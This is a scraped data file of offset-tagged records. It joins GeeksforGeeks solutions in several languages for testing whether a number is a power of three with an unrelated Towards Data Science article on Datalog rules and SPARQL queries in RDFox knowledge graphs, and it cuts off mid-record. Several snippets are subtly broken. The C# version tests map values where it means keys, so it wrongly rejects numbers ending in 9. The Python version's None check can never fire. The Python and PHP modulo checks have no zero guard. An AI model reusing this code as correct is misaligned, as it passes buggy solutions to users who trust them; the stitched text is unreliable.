"code": "using System; class GFG{static Boolean isPower_of_Three(long n){ if (n <= 0) return false; if (n % 3 == 0) return isPower_of_Three(n / 3); if (n == 1) return true; return false;} // Driver codepublic static void Main(String[] args){ long num1 = 243; if (isPower_of_Three(num1)) Console.Write(\"Yes\" +\"\\n\"); else Console.Write(\"No\" +\"\\n\"); long num2 = 6; if (isPower_of_Three(num2)) Console.Write(\"Yes\" +\"\\n\"); else Console.Write(\"No\" +\"\\n\");}} // this code is contributed by shivanisinghss2110",
"e": 29266,
"s": 28689,
"text": null
},
{
"code": "<script>function isPower_of_Three(n){ if (n <= 0) return false; if (n % 3 == 0) return isPower_of_Three(n / 3); if (n == 1) return true; return false;} let num1 = 243; if (isPower_of_Three(num1)) document.write(\"Yes\"); else document.write(\"No\"); let num2 = 6; if (isPower_of_Three(num2)) document.write(\"Yes\"); else document.write(\"</br>No\"); //This code is contributed by vaibhavrabadiyaa3.</script>",
"e": 29766,
"s": 29266,
"text": null
},
{
"code": null,
"e": 29773,
"s": 29766,
"text": "Yes\nNo"
},
{
"code": null,
"e": 30008,
"s": 29773,
"text": "Approach:The logic is very simple. Any integer number other than power of 3 which divides highest power of 3 value that integer can hold 3^19 = 1162261467 (Assuming that integers are stored using 32 bits) will give reminder non-zero. "
},
{
"code": null,
"e": 30012,
"s": 30008,
"text": "C++"
},
{
"code": null,
"e": 30014,
"s": 30012,
"text": "C"
},
{
"code": null,
"e": 30019,
"s": 30014,
"text": "Java"
},
{
"code": null,
"e": 30026,
"s": 30019,
"text": "Python"
},
{
"code": null,
"e": 30029,
"s": 30026,
"text": "C#"
},
{
"code": null,
"e": 30033,
"s": 30029,
"text": "PHP"
},
{
"code": null,
"e": 30044,
"s": 30033,
"text": "Javascript"
},
{
"code": "// C++ program to check if a number is power// of 3 or not.#include <iostream>using namespace std; // Returns true if n is power of 3, else falsebool check(int n){ if (n <= 0) return false; /* The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) .*/ return 1162261467 % n == 0;} // Driver codeint main(){ int n = 9; if (check(n)) cout <<\"Yes\"; else cout <<\"No\"; return 0;} // This code is contributed by shivanisinghss2110",
"e": 30540,
"s": 30044,
"text": null
},
{
"code": "// C++ program to check if a number is power// of 3 or not.#include <stdio.h>#include <stdbool.h> // Returns true if n is power of 3, else falsebool check(int n){ if (n <= 0) return false; /* The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) .*/ return 1162261467 % n == 0;} // Driver codeint main(){ int n = 9; if (check(n)) printf(\"Yes\"); else printf(\"No\"); return 0;}",
"e": 30984,
"s": 30540,
"text": null
},
{
"code": "// Java program to check if a number is power// of 3 or not.public class Power_3 { // Returns true if n is power of 3, else false static boolean check(int n) { /* To prevent java.lang.ArithmeticException: / by zero and negative n */ if (n <= 0) return false; /* The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) .*/ return 1162261467 % n == 0; } // Driver code public static void main(String args[]) { int n = 9; if (check(n)) System.out.println(\"Yes\"); else System.out.println(\"No\"); }}// This code is contributed by Sumit Ghosh",
"e": 31670,
"s": 30984,
"text": null
},
{
"code": "# Python program to check if a number is power# of 3 or not. # Returns true if n is power of 3, else falsedef check(n): \"\"\" The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) .\"\"\" return 1162261467 % n == 0 # Driver coden = 9if (check(n)): print (\"Yes\")else: print (\"No\") # This code is contributed by Sachin Bisht",
"e": 32028,
"s": 31670,
"text": null
},
{
"code": "// C# program to check if a number// is power of 3 or not.using System; public class GFG { // Returns true if n is power // of 3, else false static bool check(int n) { if (n <= 0) return false; /* The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) .*/ return 1162261467 % n == 0; } // Driver code public static void Main() { int n = 9; if (check(n)) Console.Write(\"Yes\"); else Console.Write(\"No\"); }} // This code is contributed by// nitin mittal.",
"e": 32617,
"s": 32028,
"text": null
},
{
"code": "<?php// PHP program to check if a// number is power of 3 or not. // Returns true if n is// power of 3, else falsefunction check($n){ /* The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) . */ return 1162261467 % $n == 0;} // Driver code $n = 9; if (check($n)) echo(\"Yes\"); else echo(\"No\"); // This code is contributed by nitin mittal?>",
"e": 33026,
"s": 32617,
"text": null
},
{
"code": "<script>// Javascript program to check if a// number is power of 3 or not. // Returns true if n is// power of 3, else falsefunction check(n){ /* The maximum power of 3 value that integer can hold is 1162261467 ( 3^19 ) . */ return 1162261467 % n == 0;} // Driver code let n = 9; if (check(n)) document.write(\"Yes\"); else document.write(\"No\"); // This code is contributed by nitin _saurabh_jaiswal</script>",
"e": 33476,
"s": 33026,
"text": null
},
{
"code": null,
"e": 33480,
"s": 33476,
"text": "Yes"
},
{
"code": null,
"e": 33503,
"s": 33480,
"text": "Time Complexity : O(1)"
},
{
"code": null,
"e": 33580,
"s": 33503,
"text": "Auxiliary Space: O(1)This article is contributed by Jebasingh and Riyazath. "
},
{
"code": null,
"e": 33590,
"s": 33580,
"text": "Approach:"
},
{
"code": null,
"e": 33647,
"s": 33590,
"text": "This approach is based on the below simple observations."
},
{
"code": null,
"e": 33749,
"s": 33647,
"text": "Observation 1: If there is a power of three number, it will definitely end with either 3, 9 , 7 or 1."
},
{
"code": null,
"e": 34025,
"s": 33749,
"text": "Observation 2 : If a number ends with one of these 4 digits, we only have to check the powers of three which would guarantee a number ending with that last digit. For example, if a given number ends with 1, it must be a 4th or 8th or 12th and so on power of three, if at all."
},
{
"code": null,
"e": 34107,
"s": 34025,
"text": "Now since we are clear with the observations, let’s have a look at the algorithm."
},
{
"code": null,
"e": 34121,
"s": 34107,
"text": "Algorithm : "
},
{
"code": null,
"e": 34258,
"s": 34121,
"text": "Step 1: If the given number, n, is not ending with 3,9,7 or 1, it means that the number is not a power of three, therefore return FALSE."
},
{
"code": null,
"e": 34421,
"s": 34258,
"text": "Step 2 : If not, we create a Map with 4 entries in it in order to maintain the mapping between the powers to three(1,2,3,4) and the number’s last digits(3,9,7,1)."
},
{
"code": null,
"e": 34522,
"s": 34421,
"text": "Step 3 : Extract the last digit from a given number and look up it’s corresponding power in the map."
},
{
"code": null,
"e": 34603,
"s": 34522,
"text": "Step 4 : If this power when raised to three equals the number, n, return TRUE."
},
{
"code": null,
"e": 34775,
"s": 34603,
"text": "Step 5 : If this power raised to three is less than the number, n, increment the power straight by 4 and loop step 4 until the power raised to three becomes more than n. "
},
{
"code": null,
"e": 34863,
"s": 34775,
"text": "Step 6 : If the power raised to three becomes more than the given number, return FALSE."
},
{
"code": null,
"e": 34867,
"s": 34863,
"text": "C++"
},
{
"code": null,
"e": 34872,
"s": 34867,
"text": "Java"
},
{
"code": null,
"e": 34880,
"s": 34872,
"text": "Python3"
},
{
"code": null,
"e": 34883,
"s": 34880,
"text": "C#"
},
{
"code": null,
"e": 34894,
"s": 34883,
"text": "Javascript"
},
{
"code": "#include <bits/stdc++.h>using namespace std;bool isPowerOfThree(int n){ if (n == 1) return true; int lastDigit = n % 10; map<int, int> map; map[3] = 1; map[9] = 2; map[7] = 3; map[1] = 4; if (!map[lastDigit]) return false; int power = map[lastDigit]; double powerOfThree = pow(3, power); while (powerOfThree <= n) { if (powerOfThree == n) return true; power = power + 4; powerOfThree = pow(3, power); } return false;}int main(){ int n = 81; cout << (isPowerOfThree(n) ? \"true\" : \"false\") << endl; n = 91; cout << (isPowerOfThree(n) ? \"true\" : \"false\") << endl; return 0;} // This code is contributed by umadevi9616",
"e": 35611,
"s": 34894,
"text": null
},
{
"code": "/*package whatever //do not write package name here */ import java.io.*;import java.util.*; class GFG { public static boolean isPowerOfThree(int n) { if (n == 1) return true; int lastDigit = n % 10; Map<Integer, Integer> map = new HashMap<>(); map.put(3, 1); map.put(9, 2); map.put(7, 3); map.put(1, 4); if (map.get(lastDigit) == null) return false; int power = map.get(lastDigit); double powerOfThree = Math.pow(3, power); while (powerOfThree <= n) { if (powerOfThree == n) return true; power = power + 4; powerOfThree = Math.pow(3, power); } return false; } public static void main(String[] args) { int n = 81; System.out.println(isPowerOfThree(n)); n = 91; System.out.println(isPowerOfThree(n)); }}",
"e": 36522,
"s": 35611,
"text": null
},
{
"code": "'''package whatever #do not write package name here '''def isPowerOfThree(n): if (n == 1): return True; lastDigit = n % 10; map =[0] * 1000; map[3] = 1; map[9] = 2; map[7] = 3; map[1] = 4; if (map[lastDigit] == None): return False; power = map[lastDigit]; powerOfThree = pow(3, power); while (powerOfThree <= n): if (powerOfThree == n): return True; power = power + 4; powerOfThree = pow(3, power); return False; if __name__ == '__main__': n = 81; print(isPowerOfThree(n)); n = 91; print(isPowerOfThree(n)); # This code contributed by umadevi9616",
"e": 37170,
"s": 36522,
"text": null
},
{
"code": "/*package whatever //do not write package name here */using System;using System.Collections.Generic; public class GFG { public static bool isPowerOfThree(int n) { if (n == 1) return true; int lastDigit = n % 10; Dictionary<int, int> map = new Dictionary<int,int>(); map.Add(3, 1); map.Add(9, 2); map.Add(7, 3); map.Add(1, 4); if (!map.ContainsValue(lastDigit)) return false; int power = map[lastDigit]; double powerOfThree = Math.Pow(3, power); while (powerOfThree <= n) { if (powerOfThree == n) return true; power = power + 4; powerOfThree = Math.Pow(3, power); } return false; } public static void Main(String[] args) { int n = 81; Console.WriteLine(isPowerOfThree(n)); n = 91; Console.WriteLine(isPowerOfThree(n)); }} // This code is contributed by umadevi9616",
"e": 38143,
"s": 37170,
"text": null
},
{
"code": "<script>/*package whatever //do not write package name here */ function isPowerOfThree(n) { if (n == 1) return true; var lastDigit = n % 10; var map = new Map(); map.set(3, 1); map.set(9, 2); map.set(7, 3); map.set(1, 4); if (map.get(lastDigit) == null) return false; var power = map.get(lastDigit); var powerOfThree = Math.pow(3, power); while (powerOfThree <= n) { if (powerOfThree == n) return true; power = power + 4; powerOfThree = Math.pow(3, power); } return false; } // Driver code var n = 81; document.write(isPowerOfThree(n)+\"<br/>\"); n = 91; document.write(isPowerOfThree(n)); // This code is contributed by umadevi9616</script>",
"e": 38983,
"s": 38143,
"text": null
},
{
"code": null,
"e": 38994,
"s": 38983,
"text": "true\nfalse"
},
{
"code": null,
"e": 39004,
"s": 38994,
"text": "Analysis:"
},
{
"code": null,
"e": 39024,
"s": 39004,
"text": "Runtime Complexity:"
},
{
"code": null,
"e": 39297,
"s": 39024,
"text": "O(1) : Since the given number is an Integer, it can at max be 2147483647 (32 bit) and the highest power of three that is less than or equal to this number is 3^19 = 1162261467. And since we increment the power by 4, we will have a loop running at most 5 times, hence O(1)."
},
{
"code": null,
"e": 39315,
"s": 39297,
"text": "Space Complexity:"
},
{
"code": null,
"e": 39405,
"s": 39315,
"text": "O(1) : Since we only have 4 entries in a Map no matter how big the number is given to us."
},
{
"code": null,
"e": 39454,
"s": 39405,
"text": "This approach is contributed by Durgesh Valecha."
},
{
"code": null,
"e": 39829,
"s": 39454,
"text": "If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above."
},
{
"code": null,
"e": 39842,
"s": 39829,
"text": "nitin mittal"
},
{
"code": null,
"e": 39855,
"s": 39842,
"text": "tanyasingh27"
},
{
"code": null,
"e": 39871,
"s": 39855,
"text": "rishavmahato348"
},
{
"code": null,
"e": 39888,
"s": 39871,
"text": "_saurabh_jaiswal"
},
{
"code": null,
"e": 39903,
"s": 39888,
"text": "adityamutharia"
},
{
"code": null,
"e": 39920,
"s": 39903,
"text": "vaibhavrabadiya3"
},
{
"code": null,
"e": 39935,
"s": 39920,
"text": "valechadurgesh"
},
{
"code": null,
"e": 39947,
"s": 39935,
"text": "umadevi9616"
},
{
"code": null,
"e": 39966,
"s": 39947,
"text": "shivanisinghss2110"
},
{
"code": null,
"e": 39979,
"s": 39966,
"text": "divisibility"
},
{
"code": null,
"e": 39992,
"s": 39979,
"text": "Mathematical"
},
{
"code": null,
"e": 40005,
"s": 39992,
"text": "Mathematical"
},
{
"code": null,
"e": 40103,
"s": 40005,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 40127,
"s": 40103,
"text": "Merge two sorted arrays"
},
{
"code": null,
"e": 40170,
"s": 40127,
"text": "Modulo Operator (%) in C/C++ with Examples"
},
{
"code": null,
"e": 40184,
"s": 40170,
"text": "Prime Numbers"
},
{
"code": null,
"e": 40226,
"s": 40184,
"text": "Program to find GCD or HCF of two numbers"
},
{
"code": null,
"e": 40299,
"s": 40226,
"text": "Print all possible combinations of r elements in a given array of size n"
},
{
"code": null,
"e": 40352,
"s": 40299,
"text": "Find minimum number of coins that make a given value"
},
{
"code": null,
"e": 40386,
"s": 40352,
"text": "Program for factorial of a number"
},
{
"code": null,
"e": 40408,
"s": 40386,
"text": "Sieve of Eratosthenes"
},
{
"code": null,
"e": 40451,
"s": 40408,
"text": "The Knight's tour problem | Backtracking-1"
}
] |
Finding patterns with rules, using Knowledge Graphs and Semantic Reasoning | by Peter Crocker | Towards Data Science
|
Machine learning algorithms are now synonymous with finding patterns in data but not all patterns are suitable for statistics based data-driven techniques, for example when these patterns don’t have explicitly labelled targets to learn from.
In some cases, these patterns can be expressed precisely as a rule. Reasoning is the process of matching rule-based patterns or verifying that they don’t exist in a graph. Because these patterns are found with deductive logic they can be found more efficiently and interpreted more easily than Machine Learning patterns which are induced from the data.
This article will introduce some common patterns and how you can express them in the rule language, Datalog, using RDFox, a knowledge graph and semantic reasoning engine developed by Oxford Semantic Technologies. RDFox is a standards based, RDF-triple store which we will query with SPARQL. If you are not yet familiar with knowledge graphs and reasoning, you can read an introduction published on Towards Data Science here. If you don’t have RDF data, read our simple tutorial for importing CSVs and SQL data into an RDF graph.
The “located in” relation is intuitively transitive but might not be completely expressed in the graph. For example, a graph might contain the following triples:
@prefix : <https://oxfordsemantic.tech/RDFox/tutorial/> .:oxford :located_in :oxfordshire .:oxfordshire :located_in :england .:england :located_in :uk .
A SPARQL query will not return that Oxford is located in England because it is missing the triple:
:oxford :located_in :england .
This triple could be added on a one-off basis, but this would soon become impractical on larger graphs where other towns located in Oxfordshire might also be missing the located in England edge.
In this case, a transitive relation rule can effortlessly draw the relevant :located_in edges automatically:
[?x, :located_in, ?z] :- [?x, :located_in, ?y], [?y, :located_in, ?z] .
The first part is the head of the rule which will materialise ?x :located_in ?z triples if the pattern following the symbol :- is found in the graph.
In our example, the rule will bind the variable ?x to :oxford, variable ?y to :oxfordshire and variable ?z to :england, and then as a logical consequence of the rule being satisfied, create the :oxford :located_in :england triple by replacing ?x with :oxford and ?z with :england.
RDFox will materialise the rule incrementally on the fly whenever new data points are added or removed from the graph which makes it an efficient solution for dynamic data sources.
Transitive closure patterns help materialise transitive relations which don’t yet exist in the graph but could potentially. For example, some Twitter followers can be represented in the following graph:
:alice :follows :bob .:bob :follows :charlie .:diana :follows :alice .
When recommending follow suggestions to the users we might wish to compute the missing connections as :follows_closure edges using the following rules:
[?x, :follows_closure, ?y] :- [?x, :follows, ?y] .[?x, :follows_closure, ?z] :- [?x, :follows, ?y], [?y, :follows_closure, ?z] .
The first rule specifies that the new relation :follows_closure is an extension of the relation :follows. The second rule implements the closure by saying that if a person ?x directly follows ?y and ?y (directly or indirectly) follows person ?z, then ?x (indirectly) follows ?z.
The new :follows_closure relations which were not originally a :follows relation are therefore:
:diana :charlie .:alice :charlie .:diana :bob .
These simple rules can be enhanced to include user interests, geography, language, common followers etc.
An important practical use of knowledge graphs is to power Open Query Answering (Open QA) applications or chatbots, where the user asks a question in natural language, which is then automatically answered against the graph. Open QA systems often struggle to interpret questions that involve several “hops” in the graph. For instance, consider the graph consisting of the triples given next.
:douglas_adams :born_in :uk .:uk rdf:type :country.
A user may ask in which country Douglas Adams was born. To obtain this information, the system would need to construct a query involving two hops in the graph. In particular, the SPARQL query
select ?c where { :douglas_adams :born_in ?c . ?c rdf:type :country .}
would return :uk as an answer.
The results of the open QA system would be greatly enhanced if the desired information had been available in just a single hop. RDFox rules can be used to provide a clean solution in this situation. In particular, we can use rules to define a new :country_of_birth relation that provides a “shortcut” for directly accessing the desired information.
[?x, :country_of_birth, ?y] :- [?x, :born_in, ?y], [?y, rdf:type, :country] .
The rule says that, if a person ?x is born in a place ?y, and that place ?y is a :country, then ?y is the country of birth of ?x.
As a result, RDFox would derive that Douglas Adams’ country of birth is the UK. The Open QA system would now only need to construct the following simpler query, which involves a single hop in the graph, to obtain the desired information.
select ?x ?y where {?x :country_of_birth ?y}
As we have already seen rules can build on the results of other rules so this pattern combined with the the first, transitive relation, can cater for data which includes more the full detail of where Douglas Adams was born. Such as:
:douglasAdams :born_in :cambridge .:cambridge :located_in :cambridgeshire .:cambridgeshire :located_in :england .:england :located_in :uk .:uk rdf:type :country .
When the rules are applied to this data they produce the graph visualised below.
A common task in knowledge graphs is to identify cyclic relationships. For instance, partonomy relations are typically acyclic (e.g., if an engine is part of a car, we wouldn’t expect the car to be part of the engine as well!). In these cases, cycle detection may be needed to detect errors in the graph and thus provide data validation. Cycle detection is also useful for detecting fraud or insider trading by identifying for example communication relations in the network which shouldn’t exist.
Consider the following graph with “part of” relations:
:piston :part_of :engine .:engine :part_of :car .:car :part_of :piston .
The graph contains a cyclic path :piston -> :engine -> :car -> :piston. via the :part_of relation.
The relationship is naturally transitive and can be define with the following rule:
[?x, :part_of, ?z] :- [?x, :part_of, ?y], [?y, :part_of, ?z] .
The following SPARQL query will return the elements which are part of others (directly or indirectly)
select ?x ?y where {?x :part_of ?y}
Which gives us the following results
:piston :piston .:car. :car .:engine :engine .:piston :car .:car :piston .:engine :car .:piston :engine .
A cycle manifests itself by the presence of self-loops (e.g. :piston is derived to be a part of itself).
Hence, it is possible to detect cyclic part of relations with the following SPARQL query.
ask {?x :part_of ?x}
Alternatively, we could define cyclic relations with the following rule:
[:part_of, rdf:type, :cyclic_relation] :- [?x, :part_of, ?x] .
Which tells us that if any object is determined to be a part of itself, then the partonomy relation is cyclic.
We can now easily retrieve the list of cyclic relations in the graph.
select ?x where {?x rdf:type :cyclic_relation}
To obtain :part_of as a result.
Many relations naturally imply some sort of order, and in such cases, we might be interested in finding the first and last elements of such orders.
For instance, consider the managerial structure of a company.
:alice :manages :bob .:bob :manages :jeremy .:bob :manages :emma .:emma :manages :david .:jeremy :manages :monica .
We would like to recognise which individuals in the company are “top-level managers”. We can use a rule to define a top-level manager as a person who manages someone and is not managed by anyone else.
[?x, rdf:type, :top_level_manager] :- [?x, :manages, ?y], not exists ?z in ([?z, :manages, ?x]) .
The query
select ?x where {?x rdf:type :top_level_manager}
asking for the list of top level managers gives :alice as the answer.
We can now use a rule to define “junior employees” as those who have a manager but who themselves do not manage anyone else.
[?x, rdf:type, :junior_employee] :- [?y, :manages, ?x], not exists ?z in ([?x, :manages, ?z]) .
The query for junior employees is then
select ?x where {?x rdf:type :junior_employee}
This returns :monica and :david as answers.
This was a short introduction to a sample of rule-based patterns which will be expanded with more examples and applications in my next articles. Imagine what is possible with the combination of these with other rules and when run at scale over your data.
If you would like to search for rule-based patterns yourself visit RDFox’s getting started guide.
The team behind Oxford Semantic Technologies started working on RDFox in 2011 at the Computer Science Department of the University of Oxford with the conviction that flexible and high-performance reasoning was a possibility for data extensive applications without jeopardising the correctness of the results. RDFox is the first market-ready knowledge graph designed from ground up with reasoning in mind. Oxford Semantic Technologies is a spin out of the University of Oxford and is backed by leading investors including Samsung Venture Investment Corporation (SVIC), Oxford Sciences Innovation (OSI) and Oxford University’s investment arm (OUI). The author is proud to be a member of this team.
Photo by Paweł Czerwiński on Unsplash
|
[
{
"code": null,
"e": 414,
"s": 172,
"text": "Machine learning algorithms are now synonymous with finding patterns in data but not all patterns are suitable for statistics based data-driven techniques, for example when these patterns don’t have explicitly labelled targets to learn from."
},
{
"code": null,
"e": 767,
"s": 414,
"text": "In some cases, these patterns can be expressed precisely as a rule. Reasoning is the process of matching rule-based patterns or verifying that they don’t exist in a graph. Because these patterns are found with deductive logic they can be found more efficiently and interpreted more easily than Machine Learning patterns which are induced from the data."
},
{
"code": null,
"e": 1296,
"s": 767,
"text": "This article will introduce some common patterns and how you can express them in the rule language, Datalog, using RDFox, a knowledge graph and semantic reasoning engine developed by Oxford Semantic Technologies. RDFox is a standards based, RDF-triple store which we will query with SPARQL. If you are not yet familiar with knowledge graphs and reasoning, you can read an introduction published on Towards Data Science here. If you don’t have RDF data, read our simple tutorial for importing CSVs and SQL data into an RDF graph."
},
{
"code": null,
"e": 1458,
"s": 1296,
"text": "The “located in” relation is intuitively transitive but might not be completely expressed in the graph. For example, a graph might contain the following triples:"
},
{
"code": null,
"e": 1623,
"s": 1458,
"text": "@prefix : <https://oxfordsemantic.tech/RDFox/tutorial/> .:oxford :located_in :oxfordshire .:oxfordshire :located_in :england .:england :located_in :uk ."
},
{
"code": null,
"e": 1722,
"s": 1623,
"text": "A SPARQL query will not return that Oxford is located in England because it is missing the triple:"
},
{
"code": null,
"e": 1759,
"s": 1722,
"text": ":oxford :located_in :england ."
},
{
"code": null,
"e": 1954,
"s": 1759,
"text": "This triple could be added on a one-off basis, but this would soon become impractical on larger graphs where other towns located in Oxfordshire might also be missing the located in England edge."
},
{
"code": null,
"e": 2063,
"s": 1954,
"text": "In this case, a transitive relation rule can effortlessly draw the relevant :located_in edges automatically:"
},
{
"code": null,
"e": 2141,
"s": 2063,
"text": "[?x, :located_in, ?z] :- [?x, :located_in, ?y], [?y, :located_in, ?z] ."
},
{
"code": null,
"e": 2291,
"s": 2141,
"text": "The first part is the head of the rule which will materialise ?x :located_in ?z triples if the pattern following the symbol :- is found in the graph."
},
{
"code": null,
"e": 2572,
"s": 2291,
"text": "In our example, the rule will bind the variable ?x to :oxford, variable ?y to :oxfordshire and variable ?z to :england, and then as a logical consequence of the rule being satisfied, create the :oxford :located_in :england triple by replacing ?x with :oxford and ?z with :england."
},
{
"code": null,
"e": 2753,
"s": 2572,
"text": "RDFox will materialise the rule incrementally on the fly whenever new data points are added or removed from the graph which makes it an efficient solution for dynamic data sources."
},
{
"code": null,
"e": 2956,
"s": 2753,
"text": "Transitive closure patterns help materialise transitive relations which don’t yet exist in the graph but could potentially. For example, some Twitter followers can be represented in the following graph:"
},
{
"code": null,
"e": 3029,
"s": 2956,
"text": ":alice :follows :bob .:bob :follows :charlie .:diana :follows :alice ."
},
{
"code": null,
"e": 3181,
"s": 3029,
"text": "When recommending follow suggestions to the users we might wish to compute the missing connections as :follows_closure edges using the following rules:"
},
{
"code": null,
"e": 3318,
"s": 3181,
"text": "[?x, :follows_closure, ?y] :- [?x, :follows, ?y] .[?x, :follows_closure, ?z] :- [?x, :follows, ?y], [?y, :follows_closure, ?z] ."
},
{
"code": null,
"e": 3597,
"s": 3318,
"text": "The first rule specifies that the new relation :follows_closure is an extension of the relation :follows. The second rule implements the closure by saying that if a person ?x directly follows ?y and ?y (directly or indirectly) follows person ?z, then ?x (indirectly) follows ?z."
},
{
"code": null,
"e": 3693,
"s": 3597,
"text": "The new :follows_closure relations which were not originally a :follows relation are therefore:"
},
{
"code": null,
"e": 3741,
"s": 3693,
"text": ":diana :charlie .:alice :charlie .:diana :bob ."
},
{
"code": null,
"e": 3846,
"s": 3741,
"text": "These simple rules can be enhanced to include user interests, geography, language, common followers etc."
},
{
"code": null,
"e": 4237,
"s": 3846,
"text": "An important practical use of knowledge graphs is to power Open Query Answering (Open QA) applications or chatbots, where the user asks a question in natural language, which is then automatically answered against the graph. Open QA systems often struggle to interpret questions that involve several “hops” in the graph. For instance, consider the graph consisting of the triples given next."
},
{
"code": null,
"e": 4302,
"s": 4237,
"text": ":douglas_adams :born_in :uk .:uk rdf:type :country."
},
{
"code": null,
"e": 4494,
"s": 4302,
"text": "A user may ask in which country Douglas Adams was born. To obtain this information, the system would need to construct a query involving two hops in the graph. In particular, the SPARQL query"
},
{
"code": null,
"e": 4569,
"s": 4494,
"text": "select ?c where { :douglas_adams :born_in ?c . ?c rdf:type :country .}"
},
{
"code": null,
"e": 4600,
"s": 4569,
"text": "would return :uk as an answer."
},
{
"code": null,
"e": 4949,
"s": 4600,
"text": "The results of the open QA system would be greatly enhanced if the desired information had been available in just a single hop. RDFox rules can be used to provide a clean solution in this situation. In particular, we can use rules to define a new :country_of_birth relation that provides a “shortcut” for directly accessing the desired information."
},
{
"code": null,
"e": 5033,
"s": 4949,
"text": "[?x, :country_of_birth, ?y] :- [?x, :born_in, ?y], [?y, rdf:type, :country] ."
},
{
"code": null,
"e": 5163,
"s": 5033,
"text": "The rule says that, if a person ?x is born in a place ?y, and that place ?y is a :country, then ?y is the country of birth of ?x."
},
{
"code": null,
"e": 5401,
"s": 5163,
"text": "As a result, RDFox would derive that Douglas Adams’ country of birth is the UK. The Open QA system would now only need to construct the following simpler query, which involves a single hop in the graph, to obtain the desired information."
},
{
"code": null,
"e": 5446,
"s": 5401,
"text": "select ?x ?y where {?x :country_of_birth ?y}"
},
{
"code": null,
"e": 5679,
"s": 5446,
"text": "As we have already seen rules can build on the results of other rules so this pattern combined with the the first, transitive relation, can cater for data which includes more the full detail of where Douglas Adams was born. Such as:"
},
{
"code": null,
"e": 5874,
"s": 5679,
"text": ":douglasAdams :born_in :cambridge .:cambridge :located_in :cambridgeshire .:cambridgeshire :located_in :england .:england :located_in :uk .:uk rdf:type :country ."
},
{
"code": null,
"e": 5955,
"s": 5874,
"text": "When the rules are applied to this data they produce the graph visualised below."
},
{
"code": null,
"e": 6452,
"s": 5955,
"text": "A common task in knowledge graphs is to identify cyclic relationships. For instance, partonomy relations are typically acyclic (e.g., if an engine is part of a car, we wouldn’t expect the car to be part of the engine as well!). In these cases, cycle detection may be needed to detect errors in the graph and thus provide data validation. Cycle detection is also useful for detecting fraud or insider trading by identifying for example communication relations in the network which shouldn’t exist."
},
{
"code": null,
"e": 6507,
"s": 6452,
"text": "Consider the following graph with “part of” relations:"
},
{
"code": null,
"e": 6583,
"s": 6507,
"text": ":piston :part_of :engine .:engine :part_of :car .:car :part_of :piston ."
},
{
"code": null,
"e": 6682,
"s": 6583,
"text": "The graph contains a cyclic path :piston -> :engine -> :car -> :piston. via the :part_of relation."
},
{
"code": null,
"e": 6766,
"s": 6682,
"text": "The relationship is naturally transitive and can be define with the following rule:"
},
{
"code": null,
"e": 6835,
"s": 6766,
"text": "[?x, :part_of, ?z] :- [?x, :part_of, ?y], [?y, :part_of, ?z] ."
},
{
"code": null,
"e": 6937,
"s": 6835,
"text": "The following SPARQL query will return the elements which are part of others (directly or indirectly)"
},
{
"code": null,
"e": 6973,
"s": 6937,
"text": "select ?x ?y where {?x :part_of ?y}"
},
{
"code": null,
"e": 7010,
"s": 6973,
"text": "Which gives us the following results"
},
{
"code": null,
"e": 7116,
"s": 7010,
"text": ":piston :piston .:car. :car .:engine :engine .:piston :car .:car :piston .:engine :car .:piston :engine ."
},
{
"code": null,
"e": 7221,
"s": 7116,
"text": "A cycle manifests itself by the presence of self-loops (e.g. :piston is derived to be a part of itself)."
},
{
"code": null,
"e": 7311,
"s": 7221,
"text": "Hence, it is possible to detect cyclic part of relations with the following SPARQL query."
},
{
"code": null,
"e": 7332,
"s": 7311,
"text": "ask {?x :part_of ?x}"
},
{
"code": null,
"e": 7405,
"s": 7332,
"text": "Alternatively, we could define cyclic relations with the following rule:"
},
{
"code": null,
"e": 7471,
"s": 7405,
"text": "[:part_of, rdf:type, :cyclic_relation] :- [?x, :part_of, ?x] ."
},
{
"code": null,
"e": 7582,
"s": 7471,
"text": "Which tells us that if any object is determined to be a part of itself, then the partonomy relation is cyclic."
},
{
"code": null,
"e": 7652,
"s": 7582,
"text": "We can now easily retrieve the list of cyclic relations in the graph."
},
{
"code": null,
"e": 7699,
"s": 7652,
"text": "select ?x where {?x rdf:type :cyclic_relation}"
},
{
"code": null,
"e": 7731,
"s": 7699,
"text": "To obtain :part_of as a result."
},
{
"code": null,
"e": 7879,
"s": 7731,
"text": "Many relations naturally imply some sort of order, and in such cases, we might be interested in finding the first and last elements of such orders."
},
{
"code": null,
"e": 7941,
"s": 7879,
"text": "For instance, consider the managerial structure of a company."
},
{
"code": null,
"e": 8066,
"s": 7941,
"text": ":alice :manages :bob .:bob :manages :jeremy .:bob :manages :emma .:emma :manages :david .:jeremy :manages :monica ."
},
{
"code": null,
"e": 8267,
"s": 8066,
"text": "We would like to recognise which individuals in the company are “top-level managers”. We can use a rule to define a top-level manager as a person who manages someone and is not managed by anyone else."
},
{
"code": null,
"e": 8370,
"s": 8267,
"text": "[?x, rdf:type, :top_level_manager] :- [?x, :manages, ?y], not exists ?z in ([?z, :manages, ?x]) ."
},
{
"code": null,
"e": 8380,
"s": 8370,
"text": "The query"
},
{
"code": null,
"e": 8429,
"s": 8380,
"text": "select ?x where {?x rdf:type :top_level_manager}"
},
{
"code": null,
"e": 8499,
"s": 8429,
"text": "asking for the list of top level managers gives :alice as the answer."
},
{
"code": null,
"e": 8624,
"s": 8499,
"text": "We can now use a rule to define “junior employees” as those who have a manager but who themselves do not manage anyone else."
},
{
"code": null,
"e": 8726,
"s": 8624,
"text": "[?x, rdf:type, :junior_employee] :- [?y, :manages, ?x], not exists ?z in ([?x, :manages, ?z]) ."
},
{
"code": null,
"e": 8765,
"s": 8726,
"text": "The query for junior employees is then"
},
{
"code": null,
"e": 8812,
"s": 8765,
"text": "select ?x where {?x rdf:type :junior_employee}"
},
{
"code": null,
"e": 8856,
"s": 8812,
"text": "This returns :monica and :david as answers."
},
{
"code": null,
"e": 9111,
"s": 8856,
"text": "This was a short introduction to a sample of rule-based patterns which will be expanded with more examples and applications in my next articles. Imagine what is possible with the combination of these with other rules and when run at scale over your data."
},
{
"code": null,
"e": 9209,
"s": 9111,
